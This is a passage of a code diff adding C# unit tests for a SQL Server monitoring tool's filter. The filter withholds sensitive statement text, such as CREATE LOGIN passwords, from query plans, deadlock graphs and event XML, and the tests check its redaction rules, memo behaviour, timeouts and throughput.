+        Assert.Equal(Marker, result);
+        Assert.Equal(1, session.Unjudged);
+    }
+
+    // ---- failure and identity ------------------------------------------------------------------------------
+
+    [Fact]
+    public void AThrowingJudgeGivesTheMarker_ForTextAndForXml_AndNeverThrows()
+    {
+        SensitiveStatements.Session NewThrowing() =>
+            new(_ => throw new InvalidOperationException("judge failed"), null, Fifteen, new SensitiveStatements.TimedOutMemo());
+
+        Assert.Equal(Marker, NewThrowing().Text("SELECT 1"));
+        // A throwing judge names every value, so the document keeps its shape and no value survives.
+        var xml = NewThrowing().Xml("<r><a>SELECT 1</a></r>");
+        Assert.Contains(Marker, xml, StringComparison.Ordinal);
+        Assert.DoesNotContain("SELECT 1", xml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PlainTextAndPlainXmlComeBackAsTheSameInstance()
+    {
+        foreach (var session in new[] { new SensitiveStatements.Session(), NewSession(new FakeJudge(TimeSpan.Zero)) })
+        {
+            var text = new string(StatementScrubCanary.PlainStatement.ToCharArray());
+            Assert.Same(text, session.Text(text));
+
+            var withAmpersand = new string("SELECT 1 WHERE a = 1 AND b &lt; 2".ToCharArray());
+            Assert.Same(withAmpersand, session.Text(withAmpersand));
+
+            var xml = new string("<r><a x=\"plain\">SELECT 1</a></r>".ToCharArray());
+            Assert.Same(xml, session.Xml(xml));
+
+            Assert.Null(session.Text(null));
+            Assert.Same(string.Empty, session.Text(string.Empty));
+            Assert.Null(session.Xml(null));
+            Assert.Same(string.Empty, session.Xml(string.Empty));
+        }
+    }
+
+    [Fact]
+    public void ANamedValueIsTheMarker_IncludingOneNamedOnlyAfterHtmlDecoding()
+    {
+        var session = new SensitiveStatements.Session();
+
+        Assert.Equal(Marker, session.Text(StatementScrubCanary.CanaryStatement));
+        Assert.Equal(Marker, session.Text("CREATE&#32;LOGIN [a] WITH PASSWORD = N'S3cret'"));
+        Assert.Equal(2, session.Named);
+    }
+
+    [Fact]
+    public void TheCanaryPlanScrubbedInTwoSessionsGivesEqualStringsAndEqualHashes()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+
+        var first = new SensitiveStatements.Session().Xml(plan)!;
+        var second = new SensitiveStatements.Session().Xml(plan)!;
+
+        Assert.Equal(first, second);
+        Assert.Equal(SHA256.HashData(Encoding.UTF8.GetBytes(first)), SHA256.HashData(Encoding.UTF8.GetBytes(second)));
+        Assert.NotEqual(plan, first);
+        Assert.Contains(Marker, first, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles.Take(3))
+        {
+            Assert.DoesNotContain(needle, first, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("canary_plain_ssf", first, StringComparison.Ordinal);
+        Assert.Contains("param-canary-ssf", first, StringComparison.Ordinal);
+    }
+
+    // ---- memo ----------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void TheSessionMemoJudgesARepeatedValueOnce()
+    {
+        var fake = new FakeJudge(TimeSpan.FromMilliseconds(1));
+        var session = NewSession(fake);
+
+        for (var i = 0; i < 5; i++)
+        {
+            Assert.Equal("SELECT 1", session.Text(new string("SELECT 1".ToCharArray())));
+        }
+
+        Assert.Single(fake.Seen);
+        Assert.Equal(4, session.MemoHits);
+        Assert.Equal(5, session.Values);
+    }
+
+    [Fact]
+    public void TheSessionMemoKeepsANamedVerdictAndCountsEachValueWithheld()
+    {
+        var fake = new FakeJudge(
+            TimeSpan.FromMilliseconds(1),
+            _ => SensitiveStatements.Verdict.Named);
+        var session = NewSession(fake);
+
+        Assert.Equal(Marker, session.Text("s"));
+        Assert.Equal(Marker, session.Text("s"));
+
+        Assert.Single(fake.Seen);
+        Assert.Equal(2, session.Named);
+    }
+
+    [Fact]
+    public void ThereIsNoTimeoutCount_ASessionWithTenTimeoutsUnderTheBudgetStillJudgesTheEleventhValue()
+    {
+        var fake = new FakeJudge(
+            TimeSpan.FromMilliseconds(250),
+            text => text.StartsWith("slow", StringComparison.Ordinal)
+                ? SensitiveStatements.Verdict.TimedOut
+                : SensitiveStatements.Verdict.Clean);
+        var session = NewSession(fake);
+
+        for (var i = 0; i < 10; i++)
+        {
+            Assert.Equal(Marker, session.Text("slow " + i));
+        }
+
+        Assert.False(session.Spent);
+        var value = "SELECT 11";
+        Assert.True(session.TryText(value, out var result));
+        Assert.Same(value, result);
+        Assert.Equal(11, fake.Seen.Count);
+        Assert.Equal(10, session.TimedOut);
+        Assert.Equal(0, session.Unjudged);
+    }
+
+    [Fact]
+    public void ASecondSessionWithTheSameSlowValueSpendsNoTimeOnIt()
+    {
+        // r2 M-G, A-5: a value whose match timed out once is remembered process-wide (the memo is shared here
+        // the way the public sessions share theirs).
+        var memo = new SensitiveStatements.TimedOutMemo();
+        var slow = "slow-" + Guid.NewGuid();
+        var firstFake = new FakeJudge(TimeSpan.FromMilliseconds(250), _ => SensitiveStatements.Verdict.TimedOut);
+        var first = NewSession(firstFake, memo);
+        Assert.Equal(Marker, first.Text(slow));
+        Assert.Equal(250, first.ElapsedMs);
+        Assert.Equal(1, memo.Count);
+
+        var secondFake = new FakeJudge(TimeSpan.FromMilliseconds(250), _ => SensitiveStatements.Verdict.TimedOut);
+        var second = NewSession(secondFake, memo);
+
+        Assert.Equal(Marker, second.Text(slow));
+        Assert.Empty(secondFake.Seen);
+        Assert.Equal(0, second.ElapsedMs);
+        Assert.Equal(1, second.TimedOutMemoHits);
+        Assert.Equal(0, second.TimedOut);
+        Assert.Equal(1, second.Named);
+    }
+
+    [Fact]
+    public void OnlyTimedOutVerdictsAreRememberedProcessWide()
+    {
+        var memo = new SensitiveStatements.TimedOutMemo();
+        var fake = new FakeJudge(
+            TimeSpan.FromMilliseconds(1),
+            text => text == "named" ? SensitiveStatements.Verdict.Named : SensitiveStatements.Verdict.Clean);
+
+        var session = NewSession(fake, memo);
+        session.Text("named");
+        session.Text("clean");
+
+        Assert.Equal(0, memo.Count);
+    }
+
+    [Fact]
+    public void TheProcessWideMemoIsClearedWhenFull_AndStaysUnderItsLimit()
+    {
+        var memo = new SensitiveStatements.TimedOutMemo();
+        for (var i = 0; i < 5000; i++)
+        {
+            memo.Add("v" + i);
+        }
+
+        Assert.InRange(memo.Count, 1, 4096);
+        Assert.True(memo.Contains("v4999"));
+        Assert.False(memo.Contains("v0"));
+    }
+
+    [Fact]
+    public void ThePublicSessionSharesOneProcessWideMemo()
+    {
+        var value = "shared-" + Guid.NewGuid();
+        SensitiveStatements.TimedOutMemo.Shared.Add(value);
+
+        var session = new SensitiveStatements.Session();
+
+        Assert.Equal(Marker, session.Text(value));
+        Assert.Equal(1, session.TimedOutMemoHits);
+        Assert.Equal(0, session.ElapsedMs);
+    }
+
+    // ---- the cycle's measurements --------------------------------------------------------------------------
+
+    private static CollectorContext NewContext() => new()
+    {
+        ServerId = 1,
+        ServerName = "target-a",
+        CollectionTime = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new CollectorDeltaCalculator(),
+    };
+
+    [Fact]
+    public void ACycleThatJudgedNothingCarriesNoScrubMeasurements()
+    {
+        var context = NewContext();
+        var session = context.BeginStatementScrub();
+        session.Text(null);
+        session.Text(string.Empty);
+
+        Assert.Empty(context.Measurements);
+        Assert.Empty(NewContext().Measurements);
+    }
+
+    [Fact]
+    public void ACycleThatJudgedAValueCarriesTheFourMeasurements_AndASecondReadAddsNothingTwice()
+    {
+        var context = NewContext();
+        var first = context.BeginStatementScrub();
+        first.Text(StatementScrubCanary.CanaryStatement);
+        first.Text(StatementScrubCanary.PlainStatement);
+        var second = context.BeginStatementScrub();
+        second.Text(StatementScrubCanary.CanaryStatement.Replace("canary_ssf", "other_ssf", StringComparison.Ordinal));
+
+        long Get(string label) => context.Measurements.Single(m => m.Label == label).Value;
+
+        Assert.Equal(2, Get(CollectorContext.StatementScrubNamedMeasurement));
+        Assert.Equal(0, Get(CollectorContext.StatementScrubTimeoutsMeasurement));
+        Assert.Equal(0, Get(CollectorContext.StatementScrubUnjudgedMeasurement));
+        Assert.True(Get(CollectorContext.StatementScrubMsMeasurement) >= 0);
+        Assert.Equal(4, context.Measurements.Count);
+
+        // Reading again adds only what a session did since.
+        Assert.Equal(2, Get(CollectorContext.StatementScrubNamedMeasurement));
+        second.Text("CREATE LOGIN [again] WITH PASSWORD = N'x'");
+        Assert.Equal(3, Get(CollectorContext.StatementScrubNamedMeasurement));
+        Assert.Equal(4, context.Measurements.Count);
+    }
+
+    [Fact]
+    public void TheScrubMeasurementLabelsAreLegalAndDistinct()
+    {
+        var labels = new[]
+        {
+            CollectorContext.StatementScrubNamedMeasurement,
+            CollectorContext.StatementScrubTimeoutsMeasurement,
+            CollectorContext.StatementScrubUnjudgedMeasurement,
+            CollectorContext.StatementScrubMsMeasurement,
+        };
+
+        Assert.All(labels, label => Assert.True(CollectorMeasurementNote.IsValidLabel(label), label));
+        Assert.Equal(4, labels.Distinct(StringComparer.Ordinal).Count());
+    }
+
+    // ---- measured (recorded, not compared) -----------------------------------------------------------------
+
+    private static string Plan(int targetBytes)
+    {
+        var node = "<RelOp NodeId=\"{0}\" PhysicalOp=\"Index Seek\" LogicalOp=\"Index Seek\" EstimateRows=\"1\">"
+            + "<OutputList><ColumnReference Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" Column=\"c{0}\"/></OutputList>"
+            + "<IndexScan Ordered=\"1\"><Object Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" Index=\"[ix]\" IndexKind=\"NonClustered\"/></IndexScan></RelOp>";
+        var builder = new StringBuilder(targetBytes + 1024);
+        builder.Append("<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.564\" Build=\"16.0.4000.1\">")
+            .Append("<BatchSequence><Batch><Statements><StmtSimple StatementText=\"SELECT c FROM dbo.t\" StatementId=\"1\" StatementType=\"SELECT\">")
+            .Append("<QueryPlan CachedPlanSize=\"16\">");
+        for (var i = 0; builder.Length < targetBytes; i++)
+        {
+            builder.AppendFormat(node, i);
+        }
+
+        return builder.Append("</QueryPlan></StmtSimple></Statements></Batch></BatchSequence></ShowPlanXML>").ToString();
+    }
+
+    private static void Record(string message) => TestContext.Current.SendDiagnosticMessage(message);
+
+    [Fact]
+    public void SessionTextThroughputOnTenThousandGeneratedStatementsIsRecorded()
+    {
+        var fragments = new[]
+        {
+            "SELECT a.col_a, b.col_b FROM dbo.TableA AS a JOIN dbo.TableB AS b ON a.id = b.a_id ",
+            "WHERE a.created >= @from AND a.created < @to AND b.status IN (1, 2, 3) ",
+            "INSERT INTO dbo.Audit (kind, detail) VALUES (N'x', @d); UPDATE dbo.T SET c = c + 1 WHERE k = @k; ",
+            "GROUP BY a.col_a ORDER BY COUNT(*) DESC OPTION (RECOMPILE) ",
+        };
+        var random = new Random(5320);
+        var statements = new string[10_000];
+        long chars = 0;
+        for (var i = 0; i < statements.Length; i++)
+        {
+            var length = random.Next(200, 4001);
+            var builder = new StringBuilder(length + 120);
+            while (builder.Length < length)
+            {
+                builder.Append(fragments[random.Next(fragments.Length)]);
+            }
+
+            builder.Append(" /* ").Append(i).Append(" */");
+            statements[i] = builder.ToString();
+            chars += statements[i].Length;
+        }
+
+        var session = new SensitiveStatements.Session();
+        var watch = Stopwatch.StartNew();
+        foreach (var statement in statements)
+        {
+            Assert.Same(statement, session.Text(statement));
+        }
+
+        watch.Stop();
+        var megabytes = chars / 1_048_576.0;
+        Record($"Session.Text over 10,000 statements: {megabytes:F1} MB in {watch.ElapsedMilliseconds} ms = {megabytes / watch.Elapsed.TotalSeconds:F1} MB/s, named={session.Named}, unjudged={session.Unjudged}");
+        Assert.Equal(0, session.Named);
+        Assert.Equal(0, session.Unjudged);
+    }
+
+    [Theory]
+    [InlineData(512 * 1024)]
+    [InlineData(27 * 1024 * 1024)]
+    public void SessionXmlThroughputOnAPlanIsRecorded(int bytes)
+    {
+        var plan = Plan(bytes);
+        var session = new SensitiveStatements.Session();
+
+        var watch = Stopwatch.StartNew();
+        var result = session.Xml(plan);
+        watch.Stop();
+
+        var megabytes = plan.Length / 1_048_576.0;
+        Record($"Session.Xml on a {megabytes:F1} MB plan: {watch.ElapsedMilliseconds} ms = {megabytes / watch.Elapsed.TotalSeconds:F1} MB/s, unjudged={session.Unjudged}, spent={session.Spent}");
+        Assert.Same(plan, result);
+    }
+
+    [Fact]
+    public void TheMemoHitRateOnFiftyThousandQueryStoreShapedRowsWithTwoThousandDistinctTextsIsRecorded()
+    {
+        var random = new Random(4348);
+        var distinct = new string[2_000];
+        for (var i = 0; i < distinct.Length; i++)
+        {
+            distinct[i] = "SELECT c" + i + " FROM dbo.t" + i + " WHERE k = @k" + new string('x', random.Next(100, 2000));
+        }
+
+        var session = new SensitiveStatements.Session();
+        var watch = Stopwatch.StartNew();
+        for (var row = 0; row < 50_000; row++)
+        {
+            // A fresh instance per row, as a reader materializes one.
+            session.Text(new string(distinct[random.Next(distinct.Length)].AsSpan()));
+        }
+
+        watch.Stop();
+        var rate = 100.0 * session.MemoHits / session.Values;
+        Record($"Memo over 50,000 rows with 2,000 distinct texts: hits={session.MemoHits} of {session.Values} = {rate:F1}% in {watch.ElapsedMilliseconds} ms");
+        Assert.Equal(50_000, session.Values);
+        Assert.True(session.MemoHits >= 50_000 - 2_000, $"hits {session.MemoHits}");
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementXmlTests.cs b/Darling/Darling.Tests/SensitiveStatementXmlTests.cs
new file mode 100644
index 0000000000..ec9dfc9427
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementXmlTests.cs
@@ -0,0 +1,636 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Xml.Linq;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the XML walk of the statement filter (<c>SensitiveStatements.XmlCore</c>). The judge here is a plain
+/// substring test on CANARY, so these pin the mechanics (what is judged, what is exempt, what a withheld
+/// statement writes, the failure rules and the budget), not the pattern.
+/// </summary>
+public class SensitiveStatementXmlTests
+{
+    private const string P = "<<P>>";
+
+    /// <summary>The placeholder as it sits in serialized text (it holds angle brackets, so it is escaped).</summary>
+    private const string PText = "&lt;&lt;P&gt;&gt;";
+    private static readonly XNamespace Ns = "http://schemas.microsoft.com/sqlserver/2004/07/showplan";
+
+    private static bool Canary(string s) => s.Contains("CANARY", StringComparison.OrdinalIgnoreCase);
+
+    private static string Fixture(string name) =>
+        File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "StatementScrub", name));
+
+    private static string? Run(string? xml, Func<string, bool>? named = null, Func<bool>? spent = null,
+        Action<TimeSpan>? charge = null, int max = int.MaxValue) =>
+        SensitiveStatements.XmlCore(xml, named ?? Canary, spent ?? (() => false), P, charge, max);
+
+    /// <summary>Every element and attribute name, in document order: the shape a rewrite must keep.</summary>
+    private static List<string> Shape(string xml)
+    {
+        var shape = new List<string>();
+        foreach (var e in XDocument.Parse(xml).Descendants())
+        {
+            shape.Add(e.Name.LocalName + "[" + string.Join(",", e.Attributes().Select(a => a.Name.LocalName)) + "]");
+        }
+        return shape;
+    }
+
+    private static List<XElement> Stmts(string xml) => XDocument.Parse(xml).Descendants(Ns + "StmtSimple").ToList();
+
+    private static string?[] Values(XElement stmt, string attribute) =>
+        stmt.Descendants().Select(e => (string?)e.Attribute(attribute)).Where(v => v is not null).ToArray();
+
+    // ── the RED: a named statement withholds its own values, and only its own ──
+
+    [Fact]
+    public void NamedStatementWithholdsItsParametersAndLiterals_AndTheNextStatementIsJudgedOnItsOwn()
+    {
+        string xml = Fixture("two_statements.xml");
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.NotSame(xml, result);
+        Assert.Equal(Shape(xml), Shape(result!));
+
+        var s = Stmts(result!);
+        Assert.Equal(2, s.Count);
+
+        // statement 1 (StatementText holds CANARY): the whole H2 list is the caller's placeholder
+        Assert.All(Values(s[0], "ParameterCompiledValue"), v => Assert.Equal(P, v));
+        Assert.All(Values(s[0], "ParameterRuntimeValue"), v => Assert.Equal(P, v));
+        Assert.All(Values(s[0], "ScalarString"), v => Assert.Equal(P, v));
+        Assert.All(Values(s[0], "ConstValue"), v => Assert.Equal(P, v));
+        Assert.Equal(P, (string?)s[0].Attribute("ParameterizedText"));
+        Assert.Equal(P, (string?)s[0].Attribute("StatementText"));
+        // ... including a numeric parameter value, which names nothing on its own
+        Assert.DoesNotContain("(7)", result);
+
+        // statement 2: ParameterCompiledValue holding CANARY is exempt and KEPT; ScalarString and ConstValue holding
+        // CANARY are judged on their own and become the placeholder; the plain runtime value stays
+        Assert.Equal("N'CANARY-keep'", Values(s[1], "ParameterCompiledValue").Single());
+        Assert.Equal("N'plain-runtime'", Values(s[1], "ParameterRuntimeValue").Single());
+        Assert.Contains("CANARY-keep", result);
+        Assert.DoesNotContain("CANARY-two", result);
+        Assert.Contains(Values(s[1], "ScalarString"), v => v == P);
+        Assert.Equal(P, Values(s[1], "ConstValue").Single());
+        Assert.Equal("SELECT name FROM dbo.people WHERE name = @n", (string?)s[1].Attribute("StatementText"));
+
+        // the statement-1 text itself never survives, and the document still parses (Parse above)
+        Assert.DoesNotContain("CANARY-one", result);
+        Assert.DoesNotContain("CANARY-compiled", result);
+        Assert.DoesNotContain("CANARY-runtime", result);
+    }
+
+    [Fact]
+    public void ThePlaceholderIsTheParameter_NotAConstantOfTheFile()
+    {
+        string? result = SensitiveStatements.XmlCore(Fixture("two_statements.xml"), Canary, () => false, "[[other]]");
+
+        Assert.Contains("[[other]]", result);
+        Assert.DoesNotContain(P, result);
+    }
+
+    [Fact]
+    public void NoHit_ReturnsTheSameInstance()
+    {
+        string xml = Fixture("two_statements.xml").Replace("CANARY", "plain", StringComparison.Ordinal);
+
+        Assert.Same(xml, Run(xml));
+        Assert.Null(Run(null));
+        Assert.Same(string.Empty, Run(string.Empty));
+    }
+
+    [Fact]
+    public void ParameterValuesAreExemptOutsideAScope_EvenWhenTheyHoldTheName()
+    {
+        const string xml = "<a><ColumnReference ParameterCompiledValue=\"N'CANARY'\" ParameterRuntimeValue=\"N'CANARY'\"/></a>";
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    // ── scope opening and the L-J rule ──
+
+    [Fact]
+    public void AParameterizedTextAttributeHoldingTheName_OpensTheScope_AndInsideItAnyQuotedValueIsWithheld()
+    {
+        const string xml =
+            "<StmtSimple StatementText=\"UPDATE t SET c = @1\" ParameterizedText=\"(@1 int)UPDATE t SET c = @1 -- CANARY\" StatementSubTreeCost=\"0.5\">" +
+            "<QueryPlan><Warnings><PlanAffectingConvert Expression=\"x = 'lit-ssf'\" Note=\"n\"/></Warnings>" +
+            "<ParameterList><ColumnReference Column=\"@1\" ParameterCompiledValue=\"(7)\"/></ParameterList></QueryPlan></StmtSimple>" +
+            "<StmtSimple StatementText=\"SELECT 1\"><QueryPlan><Warnings><PlanAffectingConvert Expression=\"x = 'lit-ssf'\"/></Warnings>" +
+            "<ParameterList><ColumnReference Column=\"@1\" ParameterCompiledValue=\"(8)\"/></ParameterList></QueryPlan></StmtSimple>";
+
+        string result = Run("<r>" + xml + "</r>")!;
+        var stmts = XDocument.Parse(result).Descendants("StmtSimple").ToList();
+
+        Assert.Equal(P, (string?)stmts[0].Attribute("ParameterizedText"));
+        Assert.Equal("UPDATE t SET c = @1", (string?)stmts[0].Attribute("StatementText"));
+        Assert.Equal("0.5", (string?)stmts[0].Attribute("StatementSubTreeCost"));
+        var convert0 = stmts[0].Descendants("PlanAffectingConvert").Single();
+        Assert.Equal(P, (string?)convert0.Attribute("Expression"));
+        Assert.Equal("n", (string?)convert0.Attribute("Note"));
+        Assert.Equal(P, (string?)stmts[0].Descendants("ColumnReference").Single().Attribute("ParameterCompiledValue"));
+        Assert.Equal("@1", (string?)stmts[0].Descendants("ColumnReference").Single().Attribute("Column"));
+
+        // the same attribute outside any scope is kept
+        Assert.Equal("x = 'lit-ssf'", (string?)stmts[1].Descendants("PlanAffectingConvert").Single().Attribute("Expression"));
+        Assert.Equal("(8)", (string?)stmts[1].Descendants("ColumnReference").Single().Attribute("ParameterCompiledValue"));
+    }
+
+    [Fact]
+    public void TheScopeEndsAtTheStatementsEndTag_NestedStatementsAreInsideIt()
+    {
+        const string xml =
+            "<r><StmtCond StatementText=\"IF CANARY\"><StmtSimple StatementText=\"SELECT 1\" Lit=\"'a'\"/><Cond Lit=\"'b'\"/></StmtCond>" +
+            "<Other Lit=\"'c'\" ParameterRuntimeValue=\"(1)\"/></r>";
+
+        string result = Run(xml)!;
+        var doc = XDocument.Parse(result);
+
+        Assert.Equal(P, (string?)doc.Descendants("StmtSimple").Single().Attribute("Lit"));
+        Assert.Equal(P, (string?)doc.Descendants("Cond").Single().Attribute("Lit"));
+        Assert.Equal("'c'", (string?)doc.Descendants("Other").Single().Attribute("Lit"));
+        Assert.Equal("(1)", (string?)doc.Descendants("Other").Single().Attribute("ParameterRuntimeValue"));
+    }
+
+    [Fact]
+    public void AnEmptyStatementElementOpensTheScopeOnlyForItsOwnAttributes()
+    {
+        const string xml = "<r><StmtUseDb StatementText=\"USE CANARY\" Lit=\"'a'\" Cost=\"1\"/><Other Lit=\"'c'\"/></r>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+
+        Assert.Equal(P, (string?)doc.Descendants("StmtUseDb").Single().Attribute("Lit"));
+        Assert.Equal("1", (string?)doc.Descendants("StmtUseDb").Single().Attribute("Cost"));
+        Assert.Equal("'c'", (string?)doc.Descendants("Other").Single().Attribute("Lit"));
+    }
+
+    [Fact]
+    public void InsideAScope_ElementFormsOfTheListAndQuotedTextAreWithheld()
+    {
+        const string xml =
+            "<r><StmtSimple StatementText=\"x CANARY\"><ParameterizedText>(@1 int)select 1</ParameterizedText>" +
+            "<Note>it's here</Note><Plain>7 rows</Plain></StmtSimple><After>it's fine</After></r>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+
+        Assert.Equal(P, doc.Descendants("ParameterizedText").Single().Value);
+        Assert.Equal(P, doc.Descendants("Note").Single().Value);
+        Assert.Equal("7 rows", doc.Descendants("Plain").Single().Value);
+        Assert.Equal("it's fine", doc.Descendants("After").Single().Value);
+    }
+
+    [Fact]
+    public void InsideAScope_AValueHoldingABinaryLiteralIsWithheld_ExceptTheHashAndHandleAttributes()
+    {
+        const string xml =
+            "<r><StmtSimple StatementText=\"x CANARY\" QueryHash=\"0x0A1B2C3D4E5F6071\" QueryPlanHash=\"0x0A1B2C3D4E5F6072\" " +
+            "StatementSqlHandle=\"0x09000000AB\" ParameterizedPlanHandle=\"0x06000100AB\">" +
+            "<PlanAffectingConvert ConvertIssue=\"Seek Plan\" Expression=\"CONVERT_IMPLICIT(varbinary(64),[t].[h],0)=0x0200ABCD\"/>" +
+            "<RemoteQuery>SELECT 1 WHERE h = 0xDEADBEEF</RemoteQuery><Plain Note=\"index 0x is empty\" Cost=\"7\"/>" +
+            "<PlanHandle>0x05000100CD</PlanHandle></StmtSimple>" +
+            "<After><PlanAffectingConvert Expression=\"CONVERT_IMPLICIT(varbinary(64),[t].[h],0)=0x0200ABCD\"/><RemoteQuery>h = 0xDEADBEEF</RemoteQuery></After></r>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+        var stmt = doc.Descendants("StmtSimple").Single();
+
+        Assert.Equal(P, (string?)doc.Descendants("PlanAffectingConvert").First().Attribute("Expression"));
+        Assert.Equal("Seek Plan", (string?)doc.Descendants("PlanAffectingConvert").First().Attribute("ConvertIssue"));
+        Assert.Equal(P, doc.Descendants("RemoteQuery").First().Value);
+        Assert.Equal("index 0x is empty", (string?)doc.Descendants("Plain").Single().Attribute("Note"));
+        Assert.Equal("0x0A1B2C3D4E5F6071", (string?)stmt.Attribute("QueryHash"));
+        Assert.Equal("0x0A1B2C3D4E5F6072", (string?)stmt.Attribute("QueryPlanHash"));
+        Assert.Equal("0x09000000AB", (string?)stmt.Attribute("StatementSqlHandle"));
+        Assert.Equal("0x06000100AB", (string?)stmt.Attribute("ParameterizedPlanHandle"));
+        Assert.Equal("0x05000100CD", doc.Descendants("PlanHandle").Single().Value);
+        // outside a withheld scope the value is kept (the judge does not name it)
+        Assert.Equal("CONVERT_IMPLICIT(varbinary(64),[t].[h],0)=0x0200ABCD",
+            (string?)doc.Descendants("PlanAffectingConvert").Last().Attribute("Expression"));
+        Assert.Equal("h = 0xDEADBEEF", doc.Descendants("RemoteQuery").Last().Value);
+    }
+
+    [Fact]
+    public void AnElementThatIsNotNamedStmtButCarriesAStatementText_OpensTheScope()
+    {
+        // The showplan schema names every statement element Stmt*; an element of another name that carries the
+        // statement attributes is read the same way, in both passes (the ordinals stay in step).
+        const string xml =
+            "<r><Wrapper StatementText=\"x CANARY\" Lit=\"'a'\"><Inner Lit=\"'b'\"/><ConstValue>7</ConstValue></Wrapper>" +
+            "<StmtSimple StatementText=\"SELECT 1\" Lit=\"'c'\"/><Other Lit=\"'d'\"/></r>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+
+        Assert.Equal(P, (string?)doc.Descendants("Wrapper").Single().Attribute("StatementText"));
+        Assert.Equal(P, (string?)doc.Descendants("Wrapper").Single().Attribute("Lit"));
+        Assert.Equal(P, (string?)doc.Descendants("Inner").Single().Attribute("Lit"));
+        Assert.Equal(P, doc.Descendants("ConstValue").Single().Value);
+        Assert.Equal("'c'", (string?)doc.Descendants("StmtSimple").Single().Attribute("Lit"));
+        Assert.Equal("'d'", (string?)doc.Descendants("Other").Single().Attribute("Lit"));
+    }
+
+    // ── other XML: reports, graphs, events ──
+
+    [Fact]
+    public void ADecodedLineBreakInsideAnAttribute_IsJudgedDecoded()
+    {
+        const string xml = "<StmtSimple StatementText=\"CREATE&#xD;&#xA;LOGIN x\" Cost=\"1\"/>";
+
+        string? result = Run(xml, s => s.Contains("CREATE\r\nLOGIN", StringComparison.Ordinal));
+
+        Assert.Contains("StatementText=\"" + PText + "\"", result);
+        Assert.Contains("Cost=\"1\"", result);
+    }
+
+    [Fact]
+    public void AlineBreakCharacterInAValueSurvivesTheRewriteAsACharacterReference()
+    {
+        const string xml = "<r a=\"x&#xD;&#xA;y\" b=\"CANARY\"/>";
+
+        string result = Run(xml)!;
+
+        Assert.Equal("x\r\ny", (string?)XDocument.Parse(result).Root!.Attribute("a"));
+        Assert.Equal(P, (string?)XDocument.Parse(result).Root!.Attribute("b"));
+    }
+
+    [Fact]
+    public void ABlockedProcessReport_WithholdsOnlyTheNamedInputBuffer()
+    {
+        const string xml =
+            "<blocked-process-report monitorLoop=\"1\"><blocked-process><process id=\"p1\" status=\"suspended\">" +
+            "<executionStack><frame line=\"1\" stmtstart=\"0\" sqlhandle=\"0x01\">UPDATE t SET c = 1</frame></executionStack>" +
+            "<inputbuf>UPDATE t SET c = 'CANARY'</inputbuf></process></blocked-process>" +
+            "<blocking-process><process id=\"p2\"><inputbuf>SELECT 1</inputbuf></process></blocking-process></blocked-process-report>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+
+        Assert.Equal(P, doc.Descendants("inputbuf").First().Value);
+        Assert.Equal("SELECT 1", doc.Descendants("inputbuf").Last().Value);
+        Assert.Equal("UPDATE t SET c = 1", doc.Descendants("frame").Single().Value);
+        Assert.Equal("1", (string?)doc.Descendants("blocked-process-report").Single().Attribute("monitorLoop"));
+    }
+
+    [Fact]
+    public void ADeadlockGraph_WithholdsTheNamedInputBufferAndFrameText()
+    {
+        const string xml =
+            "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list>" +
+            "<process id=\"process1\" taskpriority=\"0\"><executionStack><frame procname=\"adhoc\" line=\"1\">DECLARE @c nvarchar(10) = N'CANARY'</frame></executionStack>" +
+            "<inputbuf>EXEC s 'CANARY'</inputbuf></process>" +
+            "<process id=\"process2\"><executionStack><frame procname=\"adhoc\" line=\"1\">SELECT 2</frame></executionStack><inputbuf>SELECT 2</inputbuf></process>" +
+            "</process-list></deadlock>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+        var frames = doc.Descendants("frame").ToList();
+        var bufs = doc.Descendants("inputbuf").ToList();
+
+        Assert.Equal(P, frames[0].Value);
+        Assert.Equal("SELECT 2", frames[1].Value);
+        Assert.Equal(P, bufs[0].Value);
+        Assert.Equal("SELECT 2", bufs[1].Value);
+        Assert.Equal("adhoc", (string?)frames[0].Attribute("procname"));
+    }
+
+    [Fact]
+    public void ASystemHealthSqlTextAction_IsWithheldWhenNamed()
+    {
+        const string xml =
+            "<event name=\"error_reported\" package=\"sqlserver\"><data name=\"error_number\"><value>102</value></data>" +
+            "<action name=\"sql_text\" package=\"sqlserver\"><type name=\"unicode_string\" package=\"package0\"/><value>SELECT 'CANARY'</value></action>" +
+            "<action name=\"database_id\" package=\"sqlserver\"><type name=\"uint16\" package=\"package0\"/><value>5</value></action></event>";
+
+        var doc = XDocument.Parse(Run(xml)!);
+
+        Assert.Equal(P, doc.Descendants("action").First().Element("value")!.Value);
+        Assert.Equal("5", doc.Descendants("action").Last().Element("value")!.Value);
+        Assert.Equal("102", doc.Descendants("data").Single().Element("value")!.Value);
+    }
+
+    [Fact]
+    public void ACdataSection_IsJudgedAndKeptAsCdata()
+    {
+        const string xml = "<r><a><![CDATA[plain <b>]]></a><c><![CDATA[CANARY <b>]]></c></r>";
+
+        string result = Run(xml)!;
+
+        Assert.Contains("<a><![CDATA[plain <b>]]></a>", result);
+        Assert.Contains("<c><![CDATA[" + P + "]]></c>", result);
+    }
+
